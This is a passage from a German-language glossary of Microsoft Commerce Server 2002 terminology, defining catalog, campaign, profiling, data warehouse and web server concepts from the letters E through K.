Ein COM-Serverobjekt (Component Object Model), das die Integrität von Daten beim Verlassen der Stufe sicherstellt. Erforderliche Komponenten führen außerdem die Konvertierung von Währungswerten und ganzen Zahlen durch, sodass Stufen, die ausschließlich Komponenten von Site Server 3.0 Commerce Edition enthalten, ordnungsgemäß mit Stufen funktionieren können, die ausschließlich Commerce Server 2002-Komponenten enthalten.

Explizite Profilerstellung

Ein Prozess der Informationssammlung, bei dem die Besucher einer Website Profildaten über sich liefern. Die Benutzer tragen in einem Onlineformular beispielsweise ihre Namen, Adressen, Telefonnummern usw. ein.

Siehe auch: Implizite Profilerstellung

Expliziter Preis

Ein benutzerdefinierter Preis, durch den ein genauer Betrag festlegt wird. Ein expliziter Preis setzt einen im Basiskatalog festgelegten Preis außer Kraft.

Explizite Zielgruppenadressierung

Lieferung zielgerichteter Inhalte unter Verwendung von vorhandenen Informationen über Benutzer, die Ihre Site durchsuchen.

ExpressionBuilder-HTML-Komponente (HTC)

Eine HTML-Komponente (HTC), mit der benannte Ausdrücke erstellt werden, die wiederum für die Zielgruppenadressierung verwendet werden können. Die ExpressionBuilder-HTC nutzt eine eingebettete Version der QueryBuilder-HTC.

Extensible Markup Language (XML)

Ein Datenformat für den Austausch strukturierter Dokumente über das Web. Es wird Extensible Markup Language genannt, weil es kein festes Format wie HTML aufweist. XML ist darauf ausgelegt, die Verwendung von SGML (Standard Generalized Markup Language) im World Wide Web zu ermöglichen. XML ist keine Formatierungssprache. Es ist eine Metasprache, die es dem Autor erlaubt, eine Formatierungssprache zu entwickeln. Eine reguläre Formatierungssprache definiert die Art und Weise, wie Informationen in einer bestimmten Klasse von Dokumenten (beispielsweise HTML) beschrieben werden. Mit XML können Autoren für viele Klassen von Dokumenten ihre eigenen benutzerdefinierten Formatierungssprachen erstellen.

Extensible Markup Language/Hypertext Transfer Protocol-Operationen

Siehe XML/HTTP-Operationen (Extensible Markup Language/ Hypertext Transfer Protocol).

Extensible Markup Language-Dateninsel (XML)

Siehe XML-Dateninsel (Extensible Markup Language).

Extranet

Erweiterung eines Firmenintranets unter Verwendung der Webtechnologie zum Vereinfachen der Kommunikation zwischen den Lieferanten und Kunden einer Firma. Über ein Extranet kann Kunden und Lieferanten in begrenztem Umfang Zugriff auf das Intranet einer Firma gewährt werden, um die Kommunikationsgeschwindigkeit und die Effizienz der Geschäftsbeziehungen zu erhöhen.

F

Failover

Der Vorgang, Ressourcen entweder einzeln oder in einer Gruppe auf einem Serverclusterknoten offline und auf einem anderen Knoten wieder online zu schalten. Das Offline- und Onlineschalten erfolgt in einer vordefinierten Reihenfolge, bei der von anderen Ressourcen abhängige Ressourcen vor diesen offline geschaltet und nach diesen wieder online geschaltet werden.

Fall

Ein aus allen über einen bestimmten Benutzer bekannten Informationen bestehender Datensatz, der u. a. Benutzerprofil und Transaktionsverlauf enthält. Die einzelnen Fälle werden auf Grundlage der Daten im Commerce Server Data Warehouse erstellt. Sie sind die Eingabe, aus der Commerce Server das Vorhersagemodell ableitet.

Siehe auch: Gemessene Genauigkeit des Stichprobenanteils, Stichprobengröße, Gering gefüllte Tabelle, CaseColumn, Dicht gefüllte Tabelle

Fallbezeichner

Eine eindeutige ID für jeden Benutzer.

Fallextraktionskomponente

Eine Komponente, die Daten aus dem Commerce Server Data Warehouse liest und Fälle für die Modellerstellung erzeugt.

Fester Umrechnungssatz

Ein statischer Umrechnungskurs, anhand dessen alle Beteiligten (Käufer, Website oder Lieferant) die genaue Höhe des Preises kennen, den Sie für Artikel bezahlen müssen bzw. erhalten, da der Umrechnungskurs bereits festgelegt ist.

Siehe auch: Umrechnungskurs, Umrechnungszeit, Umrechnungstyp, Kassakurs

Filterdimension

Eine Dimension in einem dynamischen Bericht zum Filtern von Berichtsergebnissen. Wenn beispielsweise nur bestimmte Sites in einem Bericht angezeigt werden sollen, können Sie mit der Filterdimension nur die Sites A, B und C anzeigen. Die Sites D, E und F werden aus dem Bericht herausgefiltert.

Siehe auch: Dimension, Zeilendimension, Spaltendimension

Firewall

Ein Sicherheitsprüfpunkt, der ein Intranet vom Internet (oder Internetgruppen) trennt. Nur bestimmte Daten dürfen einen Firewall passieren.

Freethreadkomponenten

COM-Komponenten, die sich in mehreren Ausführungsthreads befinden können. Die Komponenten unterstützen den Zugriff durch mehrere Clients und verwenden nicht COM, um ihre Aufrufe zu synchronisieren.

Freitextsuche aktivieren

Ein Ja/Nein-Flag in einer Eigenschaftsdefinition, das anzeigt, ob die Eigenschaft in einer Freitextsuche gefunden werden kann. Um dieses Flag auf "Ja" zu setzen, muss die Eigenschaft vom Typ "Zeichenfolge" oder "Aufzählung" sein. Eine Freitextsuche findet genaue Übereinstimmungen und Wörter sowie die Flexionen dieser Wörter. Beispielsweise würden bei einer Suche nach dem Wort "fahren" auch die Wörter "fährst", "fährt", "fahrend" und "gefahren" gefunden werden.

Fremdschlüssel

Die Spalte oder Kombination aus Spalten, deren Werte mit dem Primärschlüssel oder eindeutigen Schlüssel in derselben oder einer anderen Tabelle übereinstimmen.

Siehe auch: Primärschlüssel, Eindeutiger Schlüssel, Referenzielle Integrität

FrontPage-Servererweiterungen

Ein Satz von Programmen, die Sie zum Verwalten, Verfassen und Durchsuchen einer FrontPage-erweiterten Website verwenden können.

G

Gegenseitige Authentifizierung

Eine Authentifizierungsmethode, bei der sowohl der Client als auch der Server ihre Identität belegen müssen. Die gegenseitige Authentifizierung erfolgt über die Zertifikatauthentifizierung, bei der ein Clientcomputer dem Server und der Server dem Clientcomputer ein Zertifikat vorlegt.

Gemeinsames Hosting

Ein Dienst, der von einem ASP (Application Service Provider) bereitgestellt wird. Ein ASP übermittelt von einem einzelnen Webserver aus Seiten für mehrere Websites, die über eigene Internet-Domänennamen verfügen können. Die gemeinsame Nutzung eines Hosts ermöglicht Unternehmen die kostengünstigere Erstellung und Verwaltung einer Webanwendung.

Gemessene Genauigkeit des Stichprobenanteils

Der Prozentsatz der Beispieldaten, mit denen ein Analysemodell bewertet wird.

Siehe auch: Fall, Bewertung, Stichprobengröße

Gering gefüllte Tabelle

Eine Datenbanktabelle, die gering mit Daten gefüllt ist. Beispiel: Eine Tabelle mit dem Transaktionsverlauf, die die folgenden Spalten enthält: KundenID, ProductID, Menge. In dieser Tabelle wird für jeden Einkauf jeweils nur eine Zeile belegt. Wenn ein Benutzer drei Produkte erwirbt oder ein Produkt von drei Benutzern gekauft wird, werden diese Daten in drei Zeilen gespeichert. Wenn ein Fall auf der Grundlage einer gering gefüllten Tabelle erstellt wird, werden die Spalten der gering gefüllten Tabelle in der Tabelle "PredictorDataTables" als "CaseColumn", "PivotColumn" und "AggregateColumn" identifiziert. Eine Modellkonfiguration kann mehrere gering gefüllte Tabellen oder eine gering gefüllte Tabelle mehrfach referenzieren, wobei jedes Mal andere Spalten als "CaseColumn", "PivotColumn" und "AggregateColumn" verwendet werden.

Siehe auch: AggregateColumn, Fall, CaseColumn, Dicht gefüllte Tabelle, PivotColumn

Geschäftslogikebene

Eine oder mehrere Anwendungen, die mit der Benutzerschnittstellenebene und der Datenbankebene kommunizieren. Die Geschäftslogikebene einer Commerce Server-Installation umfasst die folgenden Commerce Server-Komponenten: Geschäftsanalysesystem, Produktkatalogsystem, Profilsystem, Zielgruppenadressierungssystem, Listen-Manager, Predictor Client und Pipelinekomponenten.

Gewichtung

Eine Möglichkeit festzulegen, wann ein Kampagnenartikel relativ zu allen Kampagnenartikeln eines bestimmten Kunden angezeigt wird. In einer Kampagne gilt die Gewichtung nur für Anzeigen, deren Zielfestlegung auf Kampagnenebene liegt. Bei einer Eigenwerbung ist die Gewichtung relativ zur übrigen Eigenwerbung für alle Kunden und alle Kampagnen. Bei bezahlten Anzeigen ist die Gewichtung relativ zu anderen bezahlten Anzeigen der gleichen Kampagne. Verwenden Sie die Priorität und nicht die Gewichtung dazu, festzulegen, wann Preisnachlass-Kampagnenartikel angezeigt werden.

Siehe auch: Eigenwerbung, Bezahlte Anzeige

Global eindeutiger Bezeichner (Globally Unique Identifier, GUID)

Eine 128-Bit-Zahl, die garantiert weltweit eindeutig ist. GUIDs werden üblicherweise mit dem Befehlszeilenprogramm "Guidgen.exe" generiert. Dieses Programm erzeugt dieselbe Zahl nie zweimal, unabhängig davon, wie oft oder auf wie vielen verschiedenen Computern es ausgeführt wird. In Commerce Server können GUIDs mithilfe des GenID-Objekts generiert werden.

Globale Ressource

Eine Ressource, die für die Verwendung durch alle Sites verfügbar ist. Globale Ressourcen erscheinen als Objekte auf der globalen Ebene im Commerce Server-Manager und auf der Siteebene der Sites, die die globale Ressource verwenden. Eigenschaften von globalen Ressourcen werden auf der globalen Ebene konfiguriert.

Die folgenden globalen Ressourcen sind in Commerce Server enthalten: Commerce Server Direct Mailer und Vorhersagedienst (die auch Windows 2000-Dienste sind), CS-Authentifizierung, Profile und Data Warehouse. Drittanbieter können benutzerdefinierte globale Ressourcen zum Arbeiten mit Commerce Server entwickeln. Verwenden Sie den Commerce Server-Manager zum Verwalten globaler Ressourcen.

Siehe auch: Ressource

Globaler Ressourcenzeiger

Ein auf Siteebene angezeigtes Ressourcenobjekt, das verwendet wird, um auf eine von dieser Site genutzte globale Ressource zu verweisen. Derartige globale Ressourcen können auch von anderen Sites referenziert und verwendet werden.

Grafik

Ein auf einer Webseite verwendetes optisches Element, z. B. Illustrationen, Fotografien oder eine Hintergrundtextur. Webbasierte Grafiken liegen normalerweise im GIF- oder JPEG-Format vor.

Gruppe

Ein Bereich auf dem Commerce Server Business Desk-Bildschirm, in dem die Überschrift reduziert oder erweitert und so die Informationen in dem Bereich auf Wunsch ein- oder ausgeblendet werden können. Auch als Abschnitt bezeichnet.

Gruppierte Berichte

Eine Reihe von gleichzeitig erstellten individuellen Berichten, von denen jeder Daten anzeigt, die in dem jeweiligen Bericht eindeutig sind. Die in den einzelnen Berichten angezeigte Datenansicht basiert auf ein oder mehreren Dimensionen. So würde z. B. ein Bericht "Verkäufe nach Benutzer", in dem die Benutzerdimension dargestellt würde, einen Verkaufsbericht für jeden Benutzer generieren. Ein Bericht "Verkäufe nach Jahr und Benutzer", in dem der Benutzer und das Jahr dargestellt würden, würde für jedes Jahr, in dem Verkäufe getätigt wurden, für jeden Benutzer einen jährlichen Verkaufsbericht erstellen. Gruppierte Berichte dienen dazu, die in einem beliebigen Bericht angezeigten Daten auf eine für einen bestimmten Benutzer spezifische Datenansicht zu beschränken. Wenn eine Site beispielsweise als Host für mehrere Werbungstreibende dient, wäre es sinnvoll, die Ergebnisse der Werbekampagne nur dem Sponsor der Werbekampagne zu übermitteln, anstatt diese Ergebnisse allen Werbungstreibenden anzuzeigen.

Siehe auch: Dimension, Measure

GUID

Siehe Global eindeutiger Bezeichner (Globally Unique Identifier, GUID).

H

Handelspartner

Eine externe Organisation, mit der Ihre Organisation elektronische Daten austauscht. Der Austausch von Daten zwischen Handelspartnern wird durch Vereinbarungen, Pipelines und Verteilerlisten geregelt, die zwischen Ihrer Organisation und Ihren Handelspartnern erstellt werden. Der Austausch von Daten zwischen Handelspartnern erfolgt über Microsoft BizTalk Server 2000.

Hashschlüssel

Ein eindeutiger Schlüssel, häufig eine Spalte oder Spaltengruppe in einer Datenbank, der bei der Suche nach einem Element in einer umfangreichen Liste verwendet wird, um die Suchgeschwindigkeit zu erhöhen.

Häufigkeit

Die Anzahl der Ereignisse dividiert durch die Reichweite der Ereignisse.

Siehe auch: Ereignis, Reichweite

Hersteller

Siehe auch Lieferant.

Horizontales Skalieren

Erhöhen der Kapazität einer Website durch Hinzufügen weiterer Server zu einem Servercluster. Auch als "Breitenskalierung" bezeichnet.

Siehe auch: vertikales Skalieren

Hostheader

Eine Information, mit der IIS eine Anforderung lösen kann, die auf dem vom Browser festgelegten Domänennamen und nicht nur auf der IP-Adresse und Anschlussnummer basiert. Der Hostheadername für den URL "http://www.microsoft.com" lautet z. B. "www.microsoft.com". Durch die Verwendung von Hostheadern können Sie dieselbe IP-Addresse und denselben IP-Anschluss für mehrere IIS-Websites verwenden.

HTA

Siehe HTML-Anwendung (HTA).

HTC

Siehe HTML-Komponente (HTC).

HTML-Anwendung (HTA)

Ein Internet Explorer-Mechanismus, um HTML als eigenständige Anwendung anzuzeigen. Commerce Server Business Desk ist als HTA implementiert und enthält Code, der verhindert, dass das Programm in einer normalen Browserinstanz ausgeführt wird.

HTML-Komponente (HTC)

Ein unter Verwendung der DHTML-Verhaltensweisen von Internet Explorer implementiertes Steuerelement. HTCs werden in den Modulen von Commerce Server Business Desk zum Anzeigen und Ändern von Daten verwendet.

HTTP

Siehe Hypertext Transfer Protocol (HTTP).

HTTP-Modul

Ein Modul, das die Initialisierung von Laufzeitdiensten und den Zugriff auf Laufzeitdienste während der Gültigkeitsdauer der Anwendung ermöglicht. HTTP-Module schließen die Komponenteninitialisierung ein und erweitern die zentralen Laufzeitdienste von ASP.NET. Commerce-Module sind HTTP-Module, die die System.Web.IhttpModule-Schnittstelle implementieren.

Siehe auch: Commerce-Modul

Hypertext Transfer Protocol (HTTP)

Das zum Senden und Empfangen aller Daten über das World Wide Web verwendete Client/Server-Protokoll. Wenn Sie einen URL in Ihrem Browser eingeben, senden sie tatsächlich eine HTTP-Anforderung für eine Informationsseite an einen Webserver.

I

Identifizierung

Der Vorgang des Abbildens eines Objekts auf die unterstützten Identifikationsschemas oder des Empfangens der eindeutigen Benutzer-ID (UID). Normalerweise stellt das Betriebssystem, IIS oder Commerce Server diese Identifizierung bereit.

IIS

Siehe Internet-Informationsdienste (IIS).

IIS-Anwendung

Siehe Anwendung.

IME

Siehe Eingabemethoden-Editor (IME)

Implizite Profilerstellung

Ein Prozess der Informationssammlung, bei dem die Aktionen und Verhaltensweisen eines Besuchers der Website aufgezeichnet werden, während sich dieser in Ihrer Website bewegt und mit ihr interagiert.

Siehe auch: Explizite Profilerstellung, Vorhersageressource

Implizite Zielgruppenadressierung

Übermitteln zielgerichteter Inhalte unter Verwendung von vorhandenen Benutzerdaten zum Extrapolieren unbekannter Informationen über Benutzer, die Ihre Site durchsuchen. In Commerce Server ermöglicht es Ihnen die Vorhersageressource, Ihre Benutzer zu kategorisieren, um die implizite Zielsetzung zu unterstützen.

Indirekter Preis

Ein mit einer Preiskategorie verknüpfter Preis. Das Preisfeld des Produktdatensatzes wird ignoriert.

Siehe auch: direkter Preis

Inhaltsauswahlbewertung

Ein numerischer Wert, der die Grundlage für die Auswahl von zielgruppenorientierten Inhalten wie Anzeigen oder Preisnachlässen in Content Selection Framework (CSF) bildet. In der Stufe "Anfängliche Bewertung" wird jedem Artikel ein eine erste Bewertung zugeordnet. Wird kein Wert festgelegt, erhält der Artikel die Standardbewertung "Eins (1)". Die anfängliche Bewertung wird in Abhängigkeit davon angepasst, inwiefern der Artikel mit den Zielgruppenadressierungskriterien übereinstimmt. Die SelectWinners-Komponente wählt die Artikel mit der höchsten angepassten Bewertung aus und zeigt sie dem Benutzer der Website an. Artikel mit einer Bewertung von "Null (0)" werden nicht ausgewählt.

Inhaltsauswahlpipeline

Die Infrastruktur, über die die zum Sammeln, Filtern, Bewerten und Auswählen von Inhalten erforderlichen Phasen und Komponenten miteinander verknüpft werden.

Siehe auch: Pipeline, Pipelinekomponente, Stufe

Inhaltsbereich

Das Fenster in Commerce Server Business Desk, in dem Aktionsseiten gerendert werden.

Inhaltsgröße

Höhen- und Breitenwerte für Inhalte (in Pixeln). Mithilfe des Moduls "Referenztabellen" können Sie neue Inhaltsgrößen festlegen. Wenn sie eine Inhaltsgröße erstellen oder ändern, wird die neue oder geänderte Inhaltsgröße im Modul "Kampagnen-Manager" in der Dropdownliste "Inhaltsgrößen" angezeigt.

Inhaltsreplikation

Ein Verfahren zum Kopieren von Websiteinhalten von einem Serverknoten zu einem anderen. Sie können Dateien manuell kopieren oder mithilfe einer Replikationssoftware Inhalte automatisch kopieren. Die Replikation ist beim Clusterbetrieb eine notwendige Funktion zur Sicherstellung der Fehlertoleranz.

Integrierte Windows-Authentifizierung

Eine der Authentifizierungsmethoden, die Sie auf der Webseiten- oder Anwendungsebene in IIS festlegen können. Diese Methode verwendet den Windows-Benutzernamen und ein Kennwort zur Authentifizierung, fordert diese Information jedoch nicht vom Benutzer an, es sei denn, die Authentifizierung der aktuellen Anmeldung schlägt fehl. Sie arbeitet nicht über Proxyverbindungen hinweg und wird für private Bereiche des Intranets verwendet.

Intelligentes Cross-Selling

Eine Möglichkeit zur dynamischen Anpassung der Produktempfehlungen für Benutzer basierend auf deren Kaufverhalten in der Vergangenheit und den angezeigten oder zum Warenkorb hinzugefügten Produkten. Features für intelligentes Cross-Selling können mithilfe der Vorhersageressource zur Website hinzugefügt werden.

Siehe auch: Verwandter Verkauf, Up-Selling

Internet

Ein Satz unterschiedlicher Computernetzwerke, die über Gateways miteinander verbunden sind, welche die Datenübertragung und die Konvertierung von Nachrichten des sendenden Netzwerks in die von den empfangenden Netzwerken verwendeten Protokolle durchführen. Diese Netzwerke und Gateways verwenden die Protokollsuite Transmission Control Protocol/Internet Protocol (TCP/IP).

Internetadresse

Siehe Internetdomänenname.

Internetdienstanbieter (ISP)

Ein öffentlicher Anbieter von Remoteverbindungen über das Internet. Ein ISP ist ein Unternehmen, das Remotebenutzern durch Bereitstellen von Einwählverbindungen oder Installieren von Standleitungen den Zugriff auf das Internet ermöglicht. Der ISP kann E-Commerce-Sites für Kunden hosten, wobei mehrere Sites auf einem einzelnen Server oder Servercluster gehostet werden können. Er kann die Infrastruktur für alle Sites bereitstellen und allgemeine Verwaltungsaufgaben für diese durchführen, und auch die Kunden können einige Siteverwaltungsaufgaben von einem Remotecomputer aus durchführen.

Internetdomänenname

Der Name, der zum Hosten einer Site im Internet verwendet wird. Ein Internetdomänenname besteht aus einer Kombination eines Second-Level-Domänennamens wie beispielsweise "Microsoft" und eines Top-Level-Domänennamens wie zum Beispiel "com" oder "net", die durch einen Punkt getrennt sind. Vor dem Einrichten einer E-Commerce-Site im Internet muss sich ein Unternehmen zunächst bei einer Registrierungsstelle für DNS-Domänennamen (Domain Name System) um einen Second-Level-Domänennamen bewerben und ihn registrieren lassen. Dieser Name muss den Erfordernissen für externe DNS-Namensgebung entsprechen und darf nicht bereits registriert oder in Verwendung sein. Um einen Namen registrieren zu lassen, muss ein Unternehmen oder ein damit beauftragter ISP mindestens eine für die Verwendung im Internet gültige IP-Adresse (Internet Protocol) und die IP-Adressen von mindestens zwei aktuell aktiven DNS-Servern im Internet erhalten. Wird auch als Internetadresse, Domänenname oder URL bezeichnet.

Internet-Informationsdienste (IIS)

Die Windows 2000-Dienste, die neben anderen Internetfunktionen die Erstellung, Konfiguration und Verwaltung von Websites unterstützen. Sie müssen IIS auf einem Server installieren, bevor Sie Commerce Server installieren.

Intranet

Ein für die Bearbeitung von Informationen innerhalb einer Firma oder Organisation konzipiertes Netzwerk. Es bietet verschiedene Dienste, z. B. Dokumenten- und Softwareverteilung, Zugriff auf Datenbanken sowie Schulungsmöglichkeiten. Ein Intranet verwendet normalerweise Anwendungen, die mit dem Internet zusammenhängen, z. B. Webseiten, Webbrowser, FTP-Sites (File Transfer Protocol), E-Mail, Newsgroups und Mailinglisten, bietet jedoch lediglich Zugriff für Personen innerhalb der Firma oder Organisation.

ISAPI-Filter

Ein Programm, das aufgerufen wird, wenn der Webserver eine HTTP-Anforderung empfängt. ISAPI-Filter unterscheiden sich insofern von Anwendungen, als sie in erster Linie von Webserverereignissen und nicht von Clientanforderungen gesteuert werden. Diese Ereignisse können jedoch das Ergebnis von Clientanforderungen sein. Sie können einen ISAPI-Filter einem bestimmten Webserverereignis zuordnen. Der Filter wird dann jedes Mal benachrichtigt, wenn das dazugehörige Ereignis ausgelöst wird.

ISP

Siehe Internetdienstanbieter (ISP).

ISV

Siehe Unabhängiger Softwareanbieter (ISV, Independent Software Vendor).

J

Jetzt kaufen

Eine Inhaltsvorlage, die in Commerce Server zum Vereinfachen von Spontaneinkäufen verwendet wird: Benutzer können Waren von einer beliebigen Webseite im Internet erwerben. Wenn ein Benutzer auf ein Produktbild klickt, wird ein Dialogfeld angezeigt, in das er Lieferadresse und Kreditkarteninformationen eingeben soll.

K

Kampagne

Ein Marketingprogramm, das eine Reihe von Kommunikationsmitteln (z. B. Anzeigen und Direktsendungen) einsetzt, um ein bestimmtes Ziel zu erreichen, z. B. die Erweiterung des Marktanteils, die Einführung neuer Produkte oder eine verbesserte Kundenbindung.

Kampagnen (Ressource)

Eine durch den Commerce Server-Manager verwaltete Commerce Server-Ressource mit Eigenschaften auf Websiteebene. Wird zum Konfigurieren der Verbindungszeichenfolge für die Datenbank verwendet, die die Kampagnendaten enthält.

Kampagnenartikel

Ein Kommunikationsmittel, das zu dem vorgegebenen Ergebnis einer Kampagne beiträgt. Sie können in Commerce Server drei Arten von Kampagnenartikeln erstellen: Anzeigen, Direktsendungen und Preisnachlässe. Sie können Drittanbieterprodukte verwenden, um weitere Arten von Kampagnenartikeln zu erstellen.

Kampagnenartikel-ID

Die computergenerierte Identifizierungsnummer für einen Kampagnenartikel.

Kampagnenausdrücke (Modul)

Ein Modul von Commerce Server Business Desk, das zum Erstellen und Verwalten von Ausdrücken verwendet wird.

Siehe auch: Personalisierung

Kampagnen-Manager (Modul)

Ein Modul von Commerce Server Business Desk, mit dem Benutzerkonten erstellt und Werbe-, Preisnachlass- und Direktsendungskampagnen erstellt und verwaltet werden.

Siehe auch: Affinitätsliste

Kampagnenveröffentlichung (Modul)

Dieses Modul von Commerce Server Business Desk dient dazu, die Site mit neuen Kampagneninformationen zu aktualisieren. Das Modul "Kampagnenveröffentlichung" leert die Caches, in denen Kampagneninformationen für die Site gespeichert werden. Sobald die nächste Anforderung für Profildaten bei Commerce Server eingeht, werden die aktualisierten Daten in die Caches geladen.

Siehe auch: Cache

Kampagnenzielfestlegung

Das Festlegen der in einer bestimmten Zeit zu übermittelnden Anzahl von Anzeigen. Für die Zielfestlegung können sie beliebige Ereignisse verwenden, z. B. Mausklicks oder die abgesetzte Menge. Commerce Server unterstützt die Zielfestlegung für Anzeigen, jedoch nicht für Preisnachlässe. Mithilfe von Commerce Server Business Desk können Sie Kampagnenziele auf Kampagnen- oder Anzeigenebene festlegen.

Beispiel: Die Zielfestlegung wird auf Kampagnenebene durchgeführt, und der Kunde bestellt 25.000 Anzeigenanforderungen. Auf Kampagnenartikelebene wird festgelegt, dass für 60 Prozent aller Anzeigenanforderungen eine Anzeige und für die übrigen 40 Prozent der Anzeigenanforderungen eine andere Anzeige dargestellt werden soll. Ändert der Kunde nun die Anzahl der Anzeigenanforderungen auf 40.000, müssen Sie nicht manuell einstellen, wie oft die Anzeigen erscheinen; sie erscheinen weiterhin zu 60 Prozent bzw. 40 Prozent. Wenn Sie die Zielfestlegung auf Kampagnenartikelebene vornehmen, legen Sie für jede Anzeige einzeln Anforderungsziele fest.

Siehe auch: Anzeigenanforderung, Bezahlte Anzeige, Erfolgsquote

Kanal

Ein benannter Eigenschaftensatz, der die Quelle von Dokumenten beschreibt und bestimmte Verarbeitungsschritte festlegt, die in BizTalk Server durchgeführt werden, bevor ein Dokument an das Ziel übermittelt wird, das durch den dem Kanal zugeordneten Messagingport angegeben wird.

Kanonischer Pfad

Der definitive Pfad zu einer Kategorie oder einem Produkt, die bzw. das mehr als einer Kategorie angehört. Die primäre übergeordnete Kategorie bestimmt den kanonischen Pfad zu einer Kategorie oder einem Produkt; eine Kategorie oder ein Produkt kann nur eine primäre übergeordnete Kategorie haben. Der kanonische Pfad zu der Kategorie oder dem Produkt, die bzw. das von den Besuchern der Website angezeigt wird, kann z. B. im oberen Bereich einer Seite angezeigt werden, um den Besuchern die Organisation des Katalogs anzuzeigen.

Siehe auch: Primäre übergeordnete Kategorie

Kapazitätsplanung

Das Planen von Anwendungs-, Hardware- und Netzwerkanforderungen für das erwartete Zugriffsaufkommen und für die Umsetzung der Leistungsziele der Site.

Kassakurs

Ein dynamischer Umrechnungskurs, der erst zum Zeitpunkt der Umrechnung festgelegt wird. Markteinflüsse können sich zwischen dem Zeitpunkt des Kaufes in der Site und der Umrechnung auf den Kassakurs auswirken. Aus diesem Grund wird empfohlen, alle Preise, die nicht in der Basiswährung der Website angezeigt werden, als Circapreise anzugeben.

Siehe auch: Umrechnungskurs, Umrechnungszeit, Umrechnungstyp, Fester Umrechnungssatz

Katalog

Eine Sammlung von Kategorien und Produkten. Jeder Katalog hat einen eindeutigen Namen. Commerce Server unterstützt zwei Arten von Katalogen: Basiskataloge und virtuelle Kataloge.

Siehe auch: Virtueller Katalog, Basiskatalog

Katalogausdruck

Ein Ausdruck, der festlegt, für welche Produkte in einem Katalog ein Preisnachlass gewährt werden kann.

Katalogdaten

Der Inhalt eines Katalogs mit Daten über die einzelnen Produktartikel und die ihnen zugewiesenen Kategorien.

Katalogdefinition

Eine Beschreibung eines Katalogs mit seinen Kategorie-, Produkt- und Eigenschaftsdefinitionen. Eine Definition kann von verschiedenen Katalogen gemeinsam verwendet werden. Das Modul "Katalogdefinitions-Designer" dient zur Verwaltung von Katalogdefinitionen.

Katalogdefinitions-Designer (Modul)

Ein Modul von Commerce Server Business Desk, das zum Erstellen und Verwalten von Katalogdefinitionen verwendet wird. Katalogdefinitionen bestehen aus Kategorie-, Produkt- und Eigenschaftsdefinitionen. Diese Komponenten bilden die Grundlage von Kategorien, Produkten und Eigenschaften in Katalogen.

Katalog-Editor (Modul)

Ein Modul von Commerce Server Business Desk, das zum Bearbeiten und Verwalten von Katalogen verwendet wird. Das Modul "Katalog-Editor" ermöglicht das Hinzufügen, Bearbeiten und Entfernen von Produkten und Kategorien, das Importieren und Exportieren von Katalogen und das Aktualisieren der Volltextindizierung.

Katalogeigenschaften

Die grundlegenden Eigenschaften, die einen Katalog beschreiben, wie Name, Anfangsdatum, Beendigungsdatum, Währung, Gewichtsmaßeinheit und eindeutige Produkt-ID. Katalogeigenschaften können mit dem Modul "Katalog-Editor" verwaltet werden.

Katalogsatz

Ein oder mehrere Kataloge, die Sie verschiedenen Benutzern oder Organisationen zur Verfügung stellen. So können Sie beispielsweise zwei Kataloge für die Mitarbeiter eines bestimmten Unternehmens erstellen und zwei weitere Kataloge für ein anderes Unternehmen. In diesem Fall stehen Ihnen vier Kataloge zur Verfügung, die in zwei Katalogsätze gruppiert sind. Basiskataloge, virtuelle Kataloge und aggregierte Kataloge können Bestandteile eines Katalogsatzes sein.

Siehe auch: Aggregierter Kataloge, Basiskatalog, Virtueller Katalog

Katalogsätze (Modul)

Ein Modul von Commerce Server Business Desk, das zum Erstellen und Verwalten von Katalogsätzen verwendet wird.

Kategorie

Ein Container für Produkte oder Teilkategorien. Jede Kategorie stellt eine einzelne Instanz einer Kategoriedefinition dar. Zum Beispiel kann eine Kategorie, die auf der Kategoriedefinition "Abteilung" mit den Eigenschaften "Beschreibung" und "Manager" basiert, den Namen "Eisenwaren" erhalten und die Eigenschaften "Elektrowerkzeuge" (Beschreibung) und "Cornelia Kunze" (Manager) haben. Kategorien können mit dem Modul "Katalog-Editor" verwaltet werden.

Kategorie (Commerce Server Business Desk)

Ein Organisationsfeature des Navigationsbereichs, das das Gruppieren ähnlicher Module in Commerce Server Business Desk ermöglicht.

Kategoriebeziehung

Eine Möglichkeit, ein Produkt mit einem anderen Produkt oder einer anderen Kategorie zu verknüpfen. Kategoriebeziehungen haben einen Namen, eine Beschreibung und ein Ziel. Eine Kategorie kann mit einer anderen Kategorie in Beziehung stehen (z. B. die Kategorie "Hose" mit der Kategorie "Gürtel"). Eine Kategorie kann auch mit einem einzelnen Produkt in Beziehung stehen (z. B. mit einem Artikel innerhalb der Kategorie). Eine Kategorie kann mehrfache Beziehungen mit anderen Kategorien und/oder Produkten aufweisen.

Kategoriedefinition

Die in einem bestimmten Kategorietyp verfügbaren Eigenschaften. Eine Kategoriedefinition kann für mehrere Kategorien verwendet werden. Die Kategoriedefinition "Abteilung" könnte beispielsweise die Eigenschaften "Beschreibung" und "Manager" enthalten. Kategoriedefinitionen können mit dem Modul "Katalogdefinitions-Designer" verwaltet werden.

Kategorieeigenschaften

Die Eigenschaften, die eine Kategoriedefinition bilden. Beispielsweise kann die Kategoriedefinition "Abteilung" die folgenden Eigenschaften haben: "Beschreibung" und "Manager". Kategorieeigenschaften können mit dem Modul "Katalogdefinitions-Designer" verwaltet werden.

Kategoriehierarchie

Eine Hierarchie innerhalb einer Kategorie, bei der eine übergeordnete Kategorie und mindestens eine untergeordnete Kategorie festgelegt sind. Eine Kategorie kann nicht gleichzeitig derselben Kategorie übergeordnet und untergeordnet (von ihr abgeleitet) sein.

Klasse

Eine logische Zusammenstellung von miteinander in Beziehung stehenden Datenelementen. Klassen erstellen im Allgemeinen Modelle von physischen Objekten (Benutzer, Produkt) oder von konzeptionellen Einheiten (Besuch, Webzugriff). Eine Instanz einer Klasse stellt Benutzerdaten dar, die in das Commerce Server Data Warehouse importiert wurden. Eine Klasse wird einer Tabellendefinition in der zugrunde liegenden relationalen Datenbank zugeordnet.

Siehe auch: Datenelement

Klassenbeziehung

Eine Verbindung zwischen zwei Klassen in einer Parent-Child-Beziehung. Die Beziehung legt die Anzahl der Instanzen jeder der beiden Klassen fest. Im Commerce Server Data Warehouse sind fast alle Klassenbeziehungen n:1-Beziehungen. Das bedeutet, dass übergeordnete Klassen keine, eine oder mehrere untergeordnete Klassen haben können.

Klassenelementbeziehung

Eine Zuordnung von bestimmten Datenelementen der beiden Klassen einer Klassenbeziehung.

Klassenmetadaten

Ein konzeptionelles Modell, das die Attribute beschreibt, die zum Erstellen einer Klasse in einem logischen Data Warehouse-Schema angegeben werden müssen.

Klassenschlüssel

Die Teilmenge der Datenelemente einer Klasse, deren Werte eine Instanz der Klasse eindeutig kennzeichnen.

Siehe auch: Schlüssel

Klassenschlüsselelement

